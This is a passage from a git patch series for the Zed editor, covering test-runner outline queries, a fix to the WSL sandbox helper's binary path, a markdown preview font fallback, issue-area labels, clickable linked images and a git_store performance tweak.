   function: (call_expression
     function: (member_expression
@@ -31,7 +35,13 @@
       ]
       property: (property_identifier) @_property)
     (#any-of? @_name "it" "test" "describe" "context" "suite")
-    (#any-of? @_property "each"))
+    (#any-of? @_property
+      ; Jest, Bun, Vitest
+      "each"
+      ; Vitest
+      "skipIf" "runIf"
+      ; Bun
+      "if" "todoIf"))
   arguments: (arguments
     .
     [
diff --git a/crates/grammars/src/typescript/outline.scm b/crates/grammars/src/typescript/outline.scm
index 2c08c30ad587ff..19099b0076a87e 100644
--- a/crates/grammars/src/typescript/outline.scm
+++ b/crates/grammars/src/typescript/outline.scm
@@ -175,6 +175,7 @@
   name: (_) @name) @item
 
 ; Add support for (node:test, bun:test and Jest) runnable
+; Also matches direct modifiers: .skip, .todo, .only, .failing (Jest, Bun, Vitest)
 ((call_expression
   function: [
     (identifier) @_name
@@ -194,7 +195,10 @@
       (identifier) @name
     ]))) @item
 
-; Add support for parameterized tests
+; Parameterized and conditional tests. Docs per runner:
+;   Jest:   https://jestjs.io/docs/api#testeachtablename-fn-timeout
+;   Vitest: https://vitest.dev/api/
+;   Bun:    https://bun.sh/docs/test/writing-tests#test-modifiers
 ((call_expression
   function: (call_expression
     function: (member_expression
@@ -205,7 +209,13 @@
       ]
       property: (property_identifier) @_property)
     (#any-of? @_name "it" "test" "describe" "context" "suite")
-    (#any-of? @_property "each"))
+    (#any-of? @_property
+      ; Jest, Bun, Vitest
+      "each"
+      ; Vitest
+      "skipIf" "runIf"
+      ; Bun
+      "if" "todoIf"))
   arguments: (arguments
     .
     [
diff --git a/crates/grammars/src/typescript/runnables.scm b/crates/grammars/src/typescript/runnables.scm
index 38fee610e85f2a..b2321b816ca41e 100644
--- a/crates/grammars/src/typescript/runnables.scm
+++ b/crates/grammars/src/typescript/runnables.scm
@@ -1,5 +1,6 @@
 ; Add support for (node:test, bun:test, Jest and Deno.test) runnable
 ; Function expression that has `it`, `test` or `describe` as the function name
+; Also matches direct modifiers: .skip, .todo, .only, .failing (Jest, Bun, Vitest)
 ((call_expression
   function: [
     (identifier) @_name
@@ -20,7 +21,10 @@
     ])) @_js-test
   (#set! tag js-test))
 
-; Add support for parameterized tests
+; Parameterized and conditional tests. Docs per runner:
+;   Jest:   https://jestjs.io/docs/api#testeachtablename-fn-timeout
+;   Vitest: https://vitest.dev/api/
+;   Bun:    https://bun.sh/docs/test/writing-tests#test-modifiers
 ((call_expression
   function: (call_expression
     function: (member_expression
@@ -31,7 +35,13 @@
       ]
       property: (property_identifier) @_property)
     (#any-of? @_name "it" "test" "describe" "context" "suite")
-    (#any-of? @_property "each"))
+    (#any-of? @_property
+      ; Jest, Bun, Vitest
+      "each"
+      ; Vitest
+      "skipIf" "runIf"
+      ; Bun
+      "if" "todoIf"))
   arguments: (arguments
     .
     [
diff --git a/crates/languages/src/typescript.rs b/crates/languages/src/typescript.rs
index 5572e43f0492bc..e8d18840e0fe54 100644
--- a/crates/languages/src/typescript.rs
+++ b/crates/languages/src/typescript.rs
@@ -1433,6 +1433,184 @@ mod tests {
         );
     }
 
+    #[gpui::test]
+    async fn test_conditional_test_wrappers(cx: &mut TestAppContext) {
+        for language in [
+            crate::language(
+                "typescript",
+                tree_sitter_typescript::LANGUAGE_TYPESCRIPT.into(),
+            ),
+            crate::language("tsx", tree_sitter_typescript::LANGUAGE_TSX.into()),
+            crate::language("javascript", tree_sitter_typescript::LANGUAGE_TSX.into()),
+        ] {
+            let text = r#"
+                it.runIf(true)("runIf test", () => {
+                    true;
+                });
+
+                it.skipIf(false)("skipIf test", () => {
+                    true;
+                });
+
+                test.runIf(true)("runIf test 2", () => {
+                    true;
+                });
+
+                test.skipIf(false)("skipIf test 2", () => {
+                    true;
+                });
+
+                describe.runIf(true)("runIf describe", () => {
+                    it("inner test", () => {
+                        true;
+                    });
+                });
+
+                describe.skipIf(false)("skipIf describe", () => {
+                    it("inner test 2", () => {
+                        true;
+                    });
+                });
+
+                it.todoIf(false)("todoIf test", () => {
+                    true;
+                });
+
+                it.if(true)("if test", () => {
+                    true;
+                });
+
+                test.todoIf(false)("todoIf test 2", () => {
+                    true;
+                });
+
+                test.if(true)("if test 2", () => {
+                    true;
+                });
+
+                describe.todoIf(false)("todoIf describe", () => {
+                    it("inner todoIf", () => {
+                        true;
+                    });
+                });
+
+                describe.if(true)("if describe", () => {
+                    it("inner if", () => {
+                        true;
+                    });
+                });
+
+                test.failing("failing test", () => {
+                    true;
+                });
+
+                it.failing("failing it", () => {
+                    true;
+                });
+
+                it.each([1, 2, 3])("each test", () => {
+                    true;
+                });
+
+                describe.each([1, 2])("each describe", () => {
+                    it("inner each", () => {
+                        true;
+                    });
+                });
+
+                it.skip("skip test", () => {
+                    true;
+                });
+
+                it.only("only test", () => {
+                    true;
+                });
+
+                it.todo("todo test");
+            "#
+            .unindent();
+
+            let text_len = text.len();
+            let buffer = cx.new(|cx| language::Buffer::local(text, cx).with_language(language, cx));
+            cx.executor().run_until_parked();
+
+            let outline = buffer.update(cx, |buffer, _cx| buffer.snapshot().outline(None));
+            let outline_names = outline
+                .items
+                .iter()
+                .map(|item| item.text.as_str())
+                .collect::<Vec<_>>();
+            assert_eq!(
+                outline_names,
+                [
+                    "runIf test",
+                    "skipIf test",
+                    "runIf test 2",
+                    "skipIf test 2",
+                    "runIf describe",
+                    "it inner test",
+                    "skipIf describe",
+                    "it inner test 2",
+                    "todoIf test",
+                    "if test",
+                    "todoIf test 2",
+                    "if test 2",
+                    "todoIf describe",
+                    "it inner todoIf",
+                    "if describe",
+                    "it inner if",
+                    "test.failing failing test",
+                    "it.failing failing it",
+                    "each test",
+                    "each describe",
+                    "it inner each",
+                    "it.skip skip test",
+                    "it.only only test",
+                    "it.todo todo test",
+                ]
+            );
+
+            let snapshot = buffer.update(cx, |buffer, _| buffer.snapshot());
+            let runnable_names = snapshot
+                .runnable_ranges(0..text_len)
+                .map(|runnable| {
+                    snapshot
+                        .text_for_range(runnable.run_range)
+                        .collect::<String>()
+                })
+                .collect::<Vec<_>>();
+            assert_eq!(
+                runnable_names,
+                [
+                    "runIf test",
+                    "skipIf test",
+                    "runIf test 2",
+                    "skipIf test 2",
+                    "runIf describe",
+                    "inner test",
+                    "skipIf describe",
+                    "inner test 2",
+                    "todoIf test",
+                    "if test",
+                    "todoIf test 2",
+                    "if test 2",
+                    "todoIf describe",
+                    "inner todoIf",
+                    "if describe",
+                    "inner if",
+                    "failing test",
+                    "failing it",
+                    "each test",
+                    "each describe",
+                    "inner each",
+                    "skip test",
+                    "only test",
+                    "todo test",
+                ]
+            );
+        }
+    }
+
     #[gpui::test]
     async fn test_package_json_discovery(executor: BackgroundExecutor, cx: &mut TestAppContext) {
         cx.update(|cx| {

From 10b07951838e422722e34641f4a9c0bfec9037ff Mon Sep 17 00:00:00 2001
From: Cameron Mcloughlin <cameron.studdstreet@gmail.com>
Date: Wed, 1 Jul 2026 23:52:24 +0100
Subject: [PATCH 200/772] sandbox: Fix WSL downloaded binary path (#60210)

WSL downloads a linux zed binary for the sandbox helper. But the flag is
set on the `zed-editor` binary, not the `zed` cli binary. This fixes
that

---

Release Notes:

- N/A or Added/Fixed/Improved ...
---
 crates/sandbox/src/windows_wsl.rs | 18 +++++++++++-------
 1 file changed, 11 insertions(+), 7 deletions(-)

diff --git a/crates/sandbox/src/windows_wsl.rs b/crates/sandbox/src/windows_wsl.rs
index 2979a98852b1b7..b5cc8694b12fc2 100644
--- a/crates/sandbox/src/windows_wsl.rs
+++ b/crates/sandbox/src/windows_wsl.rs
@@ -81,7 +81,9 @@ const HELPER_RESULT_PREFIX: &str = "zed-wsl-helper:";
 /// (`~/.local/libexec/zed/<channel>`, the conventional spot for executables run
 /// by other programs rather than directly by the user). One managed copy per
 /// channel is kept, tracked by a marker file so an exact channel+version match
-/// is reused rather than re-downloaded.
+/// is reused rather than re-downloaded. The floating `latest` version (dev
+/// builds) is the exception: it always re-downloads so it tracks the newest
+/// nightly rather than pinning to the first copy fetched.
 ///
 /// We ship no `zed` (nor `bwrap`) into WSL ourselves; this downloads `zed` on
 /// demand. A missing `curl`/`wget` (or a failed download) is a hard error the
@@ -94,9 +96,11 @@ dest="$HOME/.local/libexec/zed/$channel"
 marker="$dest/.zed-wsl-helper-version"
 want="$channel $version"
 
-# Reuse an exact, already-installed channel+version.
-if [ "$(cat "$marker" 2>/dev/null || true)" = "$want" ]; then
-    helper=$(find "$dest" -type f -path '*/bin/zed' -print 2>/dev/null | head -n 1 || true)
+# Reuse an exact, already-installed channel+version — but never for the floating
+# "latest" tag (dev builds), which must always re-fetch so they track the most
+# recent nightly instead of pinning to whatever was downloaded first.
+if [ "$version" != "latest" ] && [ "$(cat "$marker" 2>/dev/null || true)" = "$want" ]; then
+    helper=$(find "$dest" -type f -path '*/libexec/zed-editor' -print 2>/dev/null | head -n 1 || true)
     if [ -n "$helper" ] && [ -x "$helper" ]; then
         printf 'zed-wsl-helper: %s\n' "$helper"
         exit 0
@@ -125,9 +129,9 @@ fi
 
 mkdir -p "$tmp/unpacked"
 tar -xzf "$tarball" -C "$tmp/unpacked"
-helper_src=$(find "$tmp/unpacked" -type f -path '*/bin/zed' -print 2>/dev/null | head -n 1 || true)
+helper_src=$(find "$tmp/unpacked" -type f -path '*/libexec/zed-editor' -print 2>/dev/null | head -n 1 || true)
 if [ -z "$helper_src" ]; then
-    echo 'the downloaded zed tarball did not contain a bin/zed binary' >&2
+    echo 'the downloaded zed tarball did not contain a libexec/zed-editor binary' >&2
     exit 1
 fi
 app=$(dirname "$(dirname "$helper_src")")
@@ -144,7 +148,7 @@ mv "$dest.new" "$dest"
 rm -rf "$dest.old"
 printf '%s' "$want" > "$marker"
 
-helper=$(find "$dest" -type f -path '*/bin/zed' -print 2>/dev/null | head -n 1 || true)
+helper=$(find "$dest" -type f -path '*/libexec/zed-editor' -print 2>/dev/null | head -n 1 || true)
 if [ -z "$helper" ] || [ ! -x "$helper" ]; then
     echo "the installed zed sandbox helper is missing or not executable under $dest" >&2
     exit 1

From 995e56d2639eff49ebdb6e988d01f1593b14aff5 Mon Sep 17 00:00:00 2001
From: Danilo Leal <67129314+danilo-leal@users.noreply.github.com>
Date: Thu, 2 Jul 2026 02:04:24 -0300
Subject: [PATCH 201/772] markdown_preview: Use UI font for base font size
 (#60212)

This PR makes the `markdown_preview_font_size` setting be based on the
UI font size instead of the buffer UI font size. I typically use a much
smaller code font than UI font, and that made reading the markdown
preview super small. I don't think this will be uncommon because the
dimensions between mono and non-mono typefaces are different...

Release Notes:

- Changed the markdown preview to fall back to the UI font size instead
of the buffer font size when `markdown_preview_font_size` is unset.
---
 assets/settings/default.json          |  2 +-
 crates/markdown/src/markdown.rs       | 16 +++++++---------
 crates/settings_content/src/theme.rs  |  2 +-
 crates/theme_settings/src/settings.rs |  8 ++++----
 4 files changed, 13 insertions(+), 15 deletions(-)

diff --git a/assets/settings/default.json b/assets/settings/default.json
index 74560dd49bb025..74c6252fe73539 100644
--- a/assets/settings/default.json
+++ b/assets/settings/default.json
@@ -73,7 +73,7 @@
   "agent_buffer_font_size": 12,
   // The default font size for the commit editor in the git panel and commit modal.
   "git_commit_buffer_font_size": 12,
-  // The default font size for the markdown preview. Falls back to the editor font size if unset.
+  // The default font size for the markdown preview. Falls back to the UI font size if unset.
   "markdown_preview_font_size": null,
   // The font family for the markdown preview. Falls back to the UI font family if unset.
   "markdown_preview_font_family": null,
diff --git a/crates/markdown/src/markdown.rs b/crates/markdown/src/markdown.rs
index 89266065a1c040..024314ebdd4a29 100644
--- a/crates/markdown/src/markdown.rs
+++ b/crates/markdown/src/markdown.rs
@@ -5399,13 +5399,13 @@ mod tests {
     }
 
     #[gpui::test]
-    fn test_editor_zoom_does_not_affect_markdown_preview(cx: &mut TestAppContext) {
+    fn test_ui_zoom_does_not_affect_markdown_preview(cx: &mut TestAppContext) {
         ensure_theme_initialized(cx);
 
         cx.update(|cx| {
             settings::SettingsStore::update_global(cx, |store, cx| {
                 store.update_user_settings(cx, |settings| {
-                    settings.theme.buffer_font_size = Some(16.0.into());
+                    settings.theme.ui_font_size = Some(16.0.into());
                     settings.theme.markdown_preview_font_size = None;
                 });
             });
@@ -5416,11 +5416,9 @@ mod tests {
             let before = ThemeSettings::get_global(cx).markdown_preview_font_size(cx);
             assert_eq!(before, px(16.0));
 
-            theme_settings::increase_buffer_font_size(cx);
-            theme_settings::increase_buffer_font_size(cx);
-            theme_settings::increase_buffer_font_size(cx);
+            theme_settings::adjust_ui_font_size(cx, |size| size + px(3.0));
 
-            assert_eq!(ThemeSettings::get_global(cx).buffer_font_size(cx), px(19.0));
+            assert_eq!(ThemeSettings::get_global(cx).ui_font_size(cx), px(19.0));
             assert_eq!(
                 ThemeSettings::get_global(cx).markdown_preview_font_size(cx),
                 before
@@ -5429,13 +5427,13 @@ mod tests {
     }
 
     #[gpui::test]
-    fn test_markdown_preview_follows_buffer_font_size_setting_when_unset(cx: &mut TestAppContext) {
+    fn test_markdown_preview_follows_ui_font_size_setting_when_unset(cx: &mut TestAppContext) {
         ensure_theme_initialized(cx);
 
         cx.update(|cx| {
             settings::SettingsStore::update_global(cx, |store, cx| {
                 store.update_user_settings(cx, |settings| {
-                    settings.theme.buffer_font_size = Some(20.0.into());
+                    settings.theme.ui_font_size = Some(20.0.into());
                     settings.theme.markdown_preview_font_size = None;
                 });
             });
@@ -5451,7 +5449,7 @@ mod tests {
         cx.update(|cx| {
             settings::SettingsStore::update_global(cx, |store, cx| {
                 store.update_user_settings(cx, |settings| {
-                    settings.theme.buffer_font_size = Some(24.0.into());
+                    settings.theme.ui_font_size = Some(24.0.into());
                 });
             });
         });
diff --git a/crates/settings_content/src/theme.rs b/crates/settings_content/src/theme.rs
index 6c40f210c89392..406c1ead91b39a 100644
--- a/crates/settings_content/src/theme.rs
+++ b/crates/settings_content/src/theme.rs
@@ -157,7 +157,7 @@ pub struct ThemeSettingsContent {
     /// markdown preview. Falls back to the buffer font if unset.
     pub markdown_preview_code_font_family: Option<FontFamilyName>,
     /// The font size to use for rendering in the markdown preview.
-    /// Falls back to the buffer font size if unset.
+    /// Falls back to the UI font size if unset.
     pub markdown_preview_font_size: Option<FontSize>,
     /// The theme to use for the markdown preview.
     /// Falls back to the main editor theme if unset.
diff --git a/crates/theme_settings/src/settings.rs b/crates/theme_settings/src/settings.rs
index 5deadcc108a6bf..517367af2b8685 100644
--- a/crates/theme_settings/src/settings.rs
+++ b/crates/theme_settings/src/settings.rs
@@ -64,7 +64,7 @@ pub struct ThemeSettings {
     /// Falls back to the buffer font family if unset.
     markdown_preview_code_font_family: Option<SharedString>,
     /// The font size to use for rendering in the markdown preview.
-    /// Falls back to the buffer font size if unset.
+    /// Falls back to the UI font size if unset.
     markdown_preview_font_size: Option<Pixels>,
     /// The theme to use for the markdown preview.
     /// Falls back to the main editor theme if unset.
@@ -451,14 +451,14 @@ impl ThemeSettings {
 
     /// Returns the markdown preview font size.
     ///
-    /// Note: the fallback deliberately uses `self.buffer_font_size` instead of `buffer_font_size(cx)`,
-    /// so that temporary editor zoom does not also resize the markdown preview.
+    /// Note: the fallback deliberately uses `self.ui_font_size` instead of `ui_font_size(cx)`,
+    /// so that temporary UI zoom does not also resize the markdown preview.
     pub fn markdown_preview_font_size(&self, cx: &App) -> Pixels {
         cx.try_global::<MarkdownPreviewFontSize>()
             .map(|size| size.0)
             .or(self.markdown_preview_font_size)
             .map(clamp_font_size)
-            .unwrap_or_else(|| clamp_font_size(self.buffer_font_size))
+            .unwrap_or_else(|| clamp_font_size(self.ui_font_size))
     }
 
     /// Returns the buffer font size, read from the settings.

From d132afe9fc440dc6822d6cba7ee34fa1d71056de Mon Sep 17 00:00:00 2001
From: Smit Barmase <heysmitbarmase@gmail.com>
Date: Thu, 2 Jul 2026 13:12:58 +0530
Subject: [PATCH 202/772] Add new area labels to track mapping - 2 (#60247)

| Label | Description |
|---|---|
| `area:ai/agent thread/sandbox` | Feedback for Zed's Agent sandboxing |
| `area:text finder` | Issue about text finder |
| `area:gpui/graphics` | Related to graphics issues in GPUI |

Release Notes:

- N/A
---
 script/community-pr-track-mapping.json | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/script/community-pr-track-mapping.json b/script/community-pr-track-mapping.json
index 6559890c0d3dff..479ef876baf77d 100644
--- a/script/community-pr-track-mapping.json
+++ b/script/community-pr-track-mapping.json
@@ -62,7 +62,7 @@
     },
     {
       "name": "GPUI & Input",
-      "labels": ["area:controls/ime", "area:controls/mouse", "area:gpui"]
+      "labels": ["area:controls/ime", "area:controls/mouse", "area:gpui", "area:gpui/graphics"]
     },
     {
       "name": "Auth & Zed.dev",
@@ -97,6 +97,7 @@
         "area:outline",
         "area:project panel",
         "area:scanning",
+        "area:text finder",
         "area:workspace"
       ]
     },
@@ -143,6 +144,7 @@
         "area:ai",
         "area:ai/acp",
         "area:ai/agent thread",
+        "area:ai/agent thread/sandbox",
         "area:ai/agent thread/skills",
         "area:ai/anthropic",
         "area:ai/assistant",

From 7d545c0baeff67d3427e53cc4f382eeb967e4119 Mon Sep 17 00:00:00 2001
From: Warya Wayne <126521894+WaryaWayne@users.noreply.github.com>
Date: Thu, 2 Jul 2026 04:00:19 -0400
Subject: [PATCH 203/772] markdown: Make linked images clickable (#59525)

# Objective

Make images nested inside markdown links (e.g., README badges)
clickable, so they behave like normal markdown links.

Previously, linked images rendered correctly but were not interactive in
markdown previews: they did not show a pointer cursor, could not be
clicked to open their target URL, and did not expose link actions
through the context menu.

## Solution

Changed the `MarkdownElement` to detect when an `<img>` tag is inside a
`<a>` tag during rendering. When a linked image is rendered:

- The wrapper `div` gets a `cursor_pointer` style and an `on_click`
handler that opens the link URL (or delegates to the `on_url_click`
callback if set).
- The wrapper also captures right-click events to populate the context
menu with "Copy Link" via `capture_for_context_menu`.
- The `on_url_click` closure type was changed from `Box<dyn Fn>` to
`Rc<dyn Fn>` to allow cloning across multiple handlers.
- When a linked image fails to load, the fallback element's `on_click`
now calls `cx.stop_propagation()` to prevent the event from bubbling to
the parent link wrapper and opening the URL twice.

The feature is gated behind `!self.style.prevent_mouse_interaction` so
it respects existing interaction-prevention settings.

## Testing

- `cargo test -p markdown`: 95 tests passed.
- Manually verified in markdown preview that badge/image links open
correctly and right-click shows "Copy Link".
- Verified existing markdown tests continue to pass.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- Fixed images inside markdown links not being clickable.


https://github.com/user-attachments/assets/df2a8d8f-b002-47f9-b139-815ee713700b

---------

Co-authored-by: Smit Barmase <heysmitbarmase@gmail.com>
---
 Cargo.lock                      |   1 +
 crates/markdown/Cargo.toml      |   1 +
 crates/markdown/src/markdown.rs | 172 ++++++++++++++++++++++++++++----
 3 files changed, 157 insertions(+), 17 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index 2445366c1264c6..8037aa43f99f79 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -10665,6 +10665,7 @@ dependencies = [
  "gpui",
  "gpui_platform",
  "html5ever 0.27.0",
+ "image",
  "language",
  "languages",
  "linkify",
diff --git a/crates/markdown/Cargo.toml b/crates/markdown/Cargo.toml
index 7443803346e2bc..3db8d84b73336f 100644
--- a/crates/markdown/Cargo.toml
+++ b/crates/markdown/Cargo.toml
@@ -46,6 +46,7 @@ env_logger.workspace = true
 fs = {workspace = true, features = ["test-support"]}
 gpui = { workspace = true, features = ["test-support"] }
 gpui_platform = { workspace = true, features = ["wayland", "x11"] }
+image.workspace = true
 language = { workspace = true, features = ["test-support"] }
 languages = { workspace = true, features = ["load-grammars"] }
 node_runtime.workspace = true
diff --git a/crates/markdown/src/markdown.rs b/crates/markdown/src/markdown.rs
index 024314ebdd4a29..69f5aa320838e6 100644
--- a/crates/markdown/src/markdown.rs
+++ b/crates/markdown/src/markdown.rs
@@ -1221,7 +1221,7 @@ pub struct MarkdownElement {
     markdown: Entity<Markdown>,
     style: MarkdownStyle,
     code_block_renderer: CodeBlockRenderer,
-    on_url_click: Option<Box<dyn Fn(SharedString, &mut Window, &mut App)>>,
+    on_url_click: Option<Rc<dyn Fn(SharedString, &mut Window, &mut App)>>,
     code_span_link: Option<CodeSpanLinkCallback>,
     on_source_click: Option<SourceClickCallback>,
     on_checkbox_toggle: Option<CheckboxToggleCallback>,
@@ -1280,7 +1280,7 @@ impl MarkdownElement {
         mut self,
         handler: impl Fn(SharedString, &mut Window, &mut App) + 'static,
     ) -> Self {
-        self.on_url_click = Some(Box::new(handler));
+        self.on_url_click = Some(Rc::new(handler));
         self
     }
 
@@ -1378,18 +1378,58 @@ impl MarkdownElement {
         width: Option<DefiniteLength>,
         height: Option<DefiniteLength>,
     ) {
-        let image_element = div().min_w_0().child(
-            img(source)
-                .id(("markdown-image", range.start))
-                .min_w_0()
-                .max_w_full()
-                .rounded_md()
-                .mr_1()
-                .mb_1()
-                .when_some(height, |this, height| this.h(height))
-                .when_some(width, |this, width| this.w(width))
-                .with_fallback(move || image_fallback_element(dest_url.clone(), alt_text.clone())),
-        );
+        let enclosing_link_url = (builder.link_depth > 0)
+            .then(|| builder.rendered_links.last())
+            .flatten()
+            .map(|link| link.destination_url.clone());
+        let fallback_opens_image_url = enclosing_link_url.is_none();
+
+        let image_element = {
+            let wrapper = div().id(("markdown-image-link", range.start)).min_w_0();
+            let wrapper = if !self.style.prevent_mouse_interaction
+                && let Some(url) = enclosing_link_url
+            {
+                let click_url = url.clone();
+                let markdown = self.markdown.clone();
+                let url_click = self.on_url_click.clone();
+                wrapper
+                    .cursor_pointer()
+                    .on_click(move |_, window, cx| {
+                        if let Some(ref on_url_click) = url_click {
+                            on_url_click(click_url.clone(), window, cx);
+                        } else {
+                            cx.open_url(&click_url);
+                        }
+                    })
+                    .capture_any_mouse_down(move |event, _window, cx| {
+                        if event.button == MouseButton::Right {
+                            markdown.update(cx, |md, _| {
+                                md.capture_for_context_menu(Some(url.clone()), None)
+                            });
+                        }
+                    })
+            } else {
+                wrapper
+            };
+            wrapper.child(
+                img(source)
+                    .id(("markdown-image", range.start))
+                    .min_w_0()
+                    .max_w_full()
+                    .rounded_md()
+                    .mr_1()
+                    .mb_1()
+                    .when_some(height, |this, height| this.h(height))
+                    .when_some(width, |this, width| this.w(width))
+                    .with_fallback(move || {
+                        image_fallback_element(
+                            dest_url.clone(),
+                            alt_text.clone(),
+                            fallback_opens_image_url,
+                        )
+                    }),
+            )
+        };
 
         builder.push_image_child(image_element);
     }
@@ -2795,7 +2835,11 @@ fn collect_image_alt_text(
     }
 }
 
-fn image_fallback_element(dest_url: SharedString, alt_text: Option<SharedString>) -> AnyElement {
+fn image_fallback_element(
+    dest_url: SharedString,
+    alt_text: Option<SharedString>,
+    open_image_url_on_click: bool,
+) -> AnyElement {
     let link_label = alt_text
         .filter(|alt| !alt.is_empty())
         .unwrap_or_else(|| dest_url.clone());
@@ -2804,13 +2848,15 @@ fn image_fallback_element(dest_url: SharedString, alt_text: Option<SharedString>
 
     div()
         .id("image-fallback")
-        .cursor_pointer()
         .min_w_0()
         .child(Label::new(label).color(Color::Warning).underline())
         .tooltip(Tooltip::text(
             "Image failed to load. Open `zed: log` for more details.",
         ))
-        .on_click(move |_, _, cx| cx.open_url(&dest_url))
+        .when(open_image_url_on_click, |this| {
+            this.cursor_pointer()
+                .on_click(move |_, _, cx| cx.open_url(&dest_url))
+        })
         .into_any_element()
 }
 
@@ -5289,6 +5335,98 @@ mod tests {
         });
     }
 
+    fn failing_image_source() -> ImageSource {
+        ImageSource::Custom(Arc::new(|_, _| {
+            Some(Err(gpui::ImageCacheError::Asset(
+                "failed to load image".into(),
+            )))
+        }))
+    }
+
+    fn loaded_image_source() -> ImageSource {
+        let buffer = image::ImageBuffer::from_pixel(16, 16, image::Rgba([0, 0, 0, 255]));
+        ImageSource::Render(Arc::new(gpui::RenderImage::new(SmallVec::from_elem(
+            image::Frame::new(buffer),
+            1,
+        ))))
+    }
+
+    fn open_markdown_image_test_window<'a>(
+        source: &str,
+        image_source: ImageSource,
+        cx: &'a mut TestAppContext,
+    ) -> &'a mut gpui::VisualTestContext {
+        struct ImageTestView {
+            markdown: Entity<Markdown>,
+            image_source: ImageSource,
+        }
+
+        impl Render for ImageTestView {
+            fn render(&mut self, _: &mut Window, _: &mut Context<Self>) -> impl IntoElement {
+                let image_source = self.image_source.clone();
+                div().size_full().child(
+                    MarkdownElement::new(self.markdown.clone(), MarkdownStyle::default())
+                        .image_resolver(move |_| Some(image_source.clone())),
+                )
+            }
+        }
+
+        ensure_theme_initialized(cx);
+
+        let source = source.to_string();
+        let (_, cx) = cx.add_window_view(|_, cx| ImageTestView {
+            markdown: cx.new(|cx| Markdown::new(source.into(), None, None, cx)),
+            image_source,
+        });
+        cx.run_until_parked();
+        cx
+    }
+
+    #[gpui::test]
+    fn test_clicking_image_fallback_opens_image_url(cx: &mut TestAppContext) {
+        let cx = open_markdown_image_test_window(
+            "![alt text](https://example.com/image.png)",
+            failing_image_source(),
+            cx,
+        );
+
+        cx.simulate_click(point(px(8.), px(8.)), gpui::Modifiers::default());
+        assert_eq!(
+            cx.opened_url(),
+            Some("https://example.com/image.png".to_string())
+        );
+    }
+
+    #[gpui::test]
+    fn test_clicking_image_fallback_inside_link_opens_link_url(cx: &mut TestAppContext) {
+        let cx = open_markdown_image_test_window(
+            "[![alt text](https://example.com/image.png)](https://example.com/link)",
+            failing_image_source(),
+            cx,
+        );
+
+        cx.simulate_click(point(px(8.), px(8.)), gpui::Modifiers::default());
+        assert_eq!(
+            cx.opened_url(),
+            Some("https://example.com/link".to_string())
+        );
+    }
+
+    #[gpui::test]
+    fn test_clicking_loaded_image_inside_link_opens_link_url(cx: &mut TestAppContext) {
+        let cx = open_markdown_image_test_window(
+            "[![alt text](https://example.com/image.png)](https://example.com/link)",
+            loaded_image_source(),
+            cx,
+        );
+
+        cx.simulate_click(point(px(8.), px(8.)), gpui::Modifiers::default());
+        assert_eq!(
+            cx.opened_url(),
+            Some("https://example.com/link".to_string())
+        );
+    }
+
     #[track_caller]
     fn assert_mappings(rendered: &RenderedText, expected: Vec<Vec<(usize, usize)>>) {
         assert_eq!(rendered.lines.len(), expected.len(), "line count mismatch");

From d1e8c0b50f445ae34c4e49d59be88dab052f0d1a Mon Sep 17 00:00:00 2001
From: Remco Smits <djsmits12@gmail.com>
Date: Thu, 2 Jul 2026 11:08:18 +0200
Subject: [PATCH 204/772] git_store: Avoid redundant work in worktree git
 repository update (#60205)

## Objective

While profiling https://github.com/zed-industries/zed/issues/60102 I
noticed `GitStore::update_repositories_from_worktree` does unneeded
work. It fires on every `WorktreeUpdatedGitRepositories` event, which
under filesystem pressure (`rescan: user dropped`) repeats roughly once
per second and can fire more frequently in a large monorepo with many
repositories, since the redundant work scales with the number of
repositories.

## Solution

In `crates/project/src/git_store.rs`:

- Drop the per-iteration `Arc<Path>` clone in the repo lookup; compare
the borrowed reference instead.
- Hoist the `is_trusted` (`can_trust`) computation out of the loop since
it only depends on `worktree_id`.

No behavior change is intended; this is purely reducing redundant work
per event.

## Notes

The *frequency* of these events originates upstream in
`LocalWorktree::changed_repos` (`crates/worktree/src/worktree.rs`),
which re-emits an `UpdatedGitRepository` whenever `git_dir_scan_id`
changes on a full rescan. That path is intentionally left untouched here
since it involves scan semantics; this PR only addresses the redundant
work on the consumer side.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- N/A
---
 crates/project/src/git_store.rs | 36 +++++++++++----------------------
 1 file changed, 12 insertions(+), 24 deletions(-)

diff --git a/crates/project/src/git_store.rs b/crates/project/src/git_store.rs
index 1edd3780307ecb..778743163d6516 100644
--- a/crates/project/src/git_store.rs
+++ b/crates/project/src/git_store.rs
@@ -1817,13 +1817,21 @@ impl GitStore {
         cx: &mut Context<Self>,
     ) {
         let mut removed_ids = Vec::new();
+
+        let is_trusted = TrustedWorktrees::try_get_global(cx)
+            .map(|trusted_worktrees| {
+                trusted_worktrees.update(cx, |trusted_worktrees, cx| {
+                    trusted_worktrees.can_trust(&self.worktree_store, worktree_id, cx)
+                })
+            })
+            .unwrap_or(false);
+
         for update in updated_git_repositories.iter() {
             if let Some((id, existing)) = self.repositories.iter().find(|(_, repo)| {
-                let existing_work_directory_abs_path =
-                    repo.read(cx).work_directory_abs_path.clone();
-                Some(&existing_work_directory_abs_path)
+                let existing_work_directory_abs_path = &repo.read(cx).work_directory_abs_path;
+                Some(existing_work_directory_abs_path)
                     == update.old_work_directory_abs_path.as_ref()
-                    || Some(&existing_work_directory_abs_path)
+                    || Some(existing_work_directory_abs_path)
                         == update.new_work_directory_abs_path.as_ref()
             }) {
                 let repo_id = *id;
@@ -1842,17 +1850,6 @@ impl GitStore {
                             update.repository_dir_abs_path.clone()
                         && let Some(common_dir_abs_path) = update.common_dir_abs_path.clone()
                     {
-                        let is_trusted = TrustedWorktrees::try_get_global(cx)
-                            .map(|trusted_worktrees| {
-                                trusted_worktrees.update(cx, |trusted_worktrees, cx| {
